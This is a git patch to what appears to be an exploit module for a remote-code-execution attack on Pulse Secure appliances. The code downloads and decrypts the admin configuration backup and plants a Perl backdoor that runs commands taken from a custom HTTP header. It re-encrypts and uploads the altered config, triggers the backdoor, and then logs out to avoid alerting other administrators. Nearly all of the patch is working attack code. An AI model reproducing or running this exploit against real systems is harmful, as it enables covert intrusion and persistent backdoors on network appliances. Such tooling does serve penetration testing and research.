From f39e4d62e20ccdbe1a869f45b2d3f76e4c9c1943 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 4 Nov 2020 17:59:04 -0500 Subject: [PATCH] working but needs cleanup --- .../linux/http/pulse_secure_gzip_rce.py | 91 +++++++++++++------ 1 file changed, 61 insertions(+), 30 deletions(-) diff --git a/modules/exploits/linux/http/pulse_secure_gzip_rce.py b/modules/exploits/linux/http/pulse_secure_gzip_rce.py index 372a97c55f..7cba90bba3 100755 --- a/modules/exploits/linux/http/pulse_secure_gzip_rce.py +++ b/modules/exploits/linux/http/pulse_secure_gzip_rce.py @@ -13,6 +13,7 @@ import struct import argparse import random import string +import time # extra modules dependencies_missing_requests = False @@ -170,6 +171,9 @@ def hpu(args): def encrypt_config(file): plaintext = file.getvalue() + # XXX + with open('/tmp/payload', 'wb') as w: + w.write(plaintext) key_bytes = evp_bytestokey(HARDCODED_KEY, TRIPLE_DES_KEY_SIZE) iv = os.urandom(8) @@ -243,7 +247,7 @@ def upload_config(args,s, config): def download_config(args, s): logging.info('Requesting backup config page') - res = s.get('{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args)), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'}) + res = s.get('{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args)), verify=False, allow_redirects=False, headers={'referer': '{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args))}, proxies={'https':'https://127.0.0.1:8181'}) xsauth = re.search('name="xsauth" value="(?P[^"]+)"\/>', res.text) if xsauth is None: logging.error('Unable to detect fds or xsauth fields') @@ -251,7 +255,7 @@ def download_config(args, s): xsauth = xsauth.groupdict()['xsauth'] logging.info("Found xsauth {}".format(xsauth)) logging.info('Requesting encrypted config backup') - res = s.post('{}dana-admin/download/system.cfg?url=/dana-admin/cached/config/export.cgi'.format(hpu(args)), verify=False, allow_redirects=False, data= + res = s.post('{}dana-admin/download/system.cfg?url=/dana-admin/cached/config/export.cgi'.format(hpu(args)), verify=False, headers={'referer': '{}dana-admin/cached/config/config.cgi?type=system'.format(hpu(args))}, allow_redirects=False, data= { 'txtPassword':'', 'txtPasswordConfirm':'', @@ -278,13 +282,13 @@ def login(args, s): ) except requests.exceptions.RequestException as e: logging.error('{}'.format(e)) - return + quit() if res.status_code != 302: logging.error("Received non 302 response ({}), check URL".format(res.status_code)) - return + quit() if 'failed' in res.headers['Location']: logging.error("Login failed. Check credentials") - return + quit() #cookie = res.cookies #logging.info("Using cookie {}".format(cookie)) # if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it. @@ -296,7 +300,7 @@ def login(args, s): xsauth = re.search('name="xsauth" value="(?P[^"]+)"\/>', res2.text) if fds is None or xsauth is None: logging.error('Unable to detect fds or xsauth fields') - return + quit() fds = fds.groupdict()['fds'] xsauth = xsauth.groupdict()['xsauth'] #logging.info("Found fds {} and xsauth {}".format(fds, xsauth)) @@ -312,7 +316,7 @@ def find_version(args, s): r = s.get('{}dana-admin/misc/admin.cgi'.format(hpu(args)), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'}) except requests.exceptions.RequestException as e: logging.error('{}'.format(e)) - return + quit() v = re.search(']+>(?P[^<(]+)(?:\(build (?P\d+)\))?<\/span>',r.text) if v: version = v.groupdict()['version'].strip() @@ -325,10 +329,8 @@ def find_version(args, s): logging.info("Version {}, revision {}, build {} found".format(version, revision, build)) if float(version) <= 9.1 and float(revision) < 9: logging.info('Version is vulnerable') - return [version,build] - else: - logging.error('Version not vulnerable') - return None + return + logging.error('Version not vulnerable') # Check methods aren't supported for external, but we use the name anyways for consistency def check(args, s): @@ -356,20 +358,26 @@ def run(args): #if cookie is None: # # no need to print out why, thats done in check # return - #config = download_config(args, cookie) - #if config is None: - # logging.error('Unable to download system config') - # return - #config = decrypt_config(config) - #f_memory = io.BytesIO(config) - #f_memory.seek(0) - #try: - # decompressed = tarfile.open(fileobj = f_memory, mode='r:gz') - #except: - # logging.error('Unable to open tar file. {}'.format(sys.exc_info()[0])) - # return - #if 'tmp/tt/setcookie.thtml.ttc' in decompressed.getnames(): - # logging.info('Previous exploitation attempts not found') + ''' + config = download_config(args, s) + if config is None: + logging.error('Unable to download system config') + return + config = decrypt_config(config) + f_memory = io.BytesIO(config) + f_memory.seek(0) + try: + decompressed = tarfile.open(fileobj = f_memory, mode='r:gz') + except: + logging.error('Unable to open tar file. {}'.format(sys.exc_info()[0])) + return + for f in decompressed.getnames(): + logging.info('{}'.format(f)) + if 'tmp/tt/setcookie.thtml.ttc' in decompressed.getnames(): + logging.info('Previous exploitation attempts not found') + exp = decompressed.extractfile('tmp/tt/setcookie.thtml.ttc') + logging.info('{}'.format(exp.read())) + ''' f_memory_new = io.BytesIO() new_config = tarfile.open(fileobj = f_memory_new, mode='w|gz') #logging.info('Copying old config to new one') @@ -382,11 +390,30 @@ def run(args): #logging.info('adding backdoor') trigger = ''.join(random.choice(string.ascii_uppercase) for i in range(8)) - logging.info('Exploit trigger will be at {}dana-na/auth/setcookie.cgi with a header of HTTP_{}'.format(hpu(args),trigger)) + logging.info('Exploit trigger will be at {}dana-na/auth/setcookie.cgi with a header of {}'.format(hpu(args),trigger)) backdoor = io.BytesIO('system($ENV{HTTP_PULSE_CMD})'.replace('PULSE_CMD', trigger).encode('utf-8')) + ''' + for member in decompressed.getmembers(): + try: + new_config.addfile(member) + except: + logging.error('Error adding backdoor {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1])) + ''' try: + f1 = tarfile.TarInfo(name = 'tmp') + f1.type = tarfile.DIRTYPE + f1.mode = 509 # octal of chmod 777 + f1.mtime = time.time() + new_config.addfile(f1) + f2 = tarfile.TarInfo(name = 'tmp/tt') + f2.type = tarfile.DIRTYPE + f2.mode = 509 # octal of chmod 777 + f2.mtime = time.time() + new_config.addfile(f2) bd = tarfile.TarInfo(name = 'tmp/tt/setcookie.thtml.ttc') bd.size = backdoor.getbuffer().nbytes + bd.mtime = time.time() + bd.mode = 511 # XXX octal of chmod 777 new_config.addfile(tarinfo=bd, fileobj=backdoor) except: logging.error('Error adding backdoor {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1])) @@ -399,6 +426,8 @@ def run(args): logging.error('Error encrypting {} -> {}'.format(sys.exc_info()[0], sys.exc_info()[1])) return #logging.info('Uploading backdoored config') + with open('/tmp/payload.encrypted', 'wb') as w: + w.write(enc_new_config) content = upload_config(args, s, enc_new_config) # grab the logout url out of the content here logout = re.search('window.location.href = "\/(?Pdana-na\/auth\/logout.cgi\?xsauth=.+)"',content.decode('ascii')) @@ -420,11 +449,13 @@ def run(args): res = s.get('{}{}'.format(hpu(args), logout), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'}) return - logging.info('Triggering RCE') - res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={'HTTP_{}'.format(trigger): args['command']}, proxies={'https':'https://127.0.0.1:8181'}) - logging.info('{}'.format(res.content)) + logging.info('Sleeping 5sec to give the system time to update, then Triggering RCE') + #res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={trigger: args['command']}, proxies={'https':'https://127.0.0.1:8181'}) + res = s.get('{}dana-na/auth/setcookie.cgi'.format(hpu(args)), verify=False, allow_redirects=False, headers={trigger: 'ls /etc'}, proxies={'https':'https://127.0.0.1:8181'}) + logging.info('Command Output: {}'.format(res.content.decode('utf-8').split('\n\n')[0])) + #logging.info('{}'.format(res.content)) logging.info('Logging out to prevent warnings to other admins') - if not logogout is None: + if not logout is None: res = s.get('{}{}'.format(hpu(args), logout), verify=False, allow_redirects=False, proxies={'https':'https://127.0.0.1:8181'})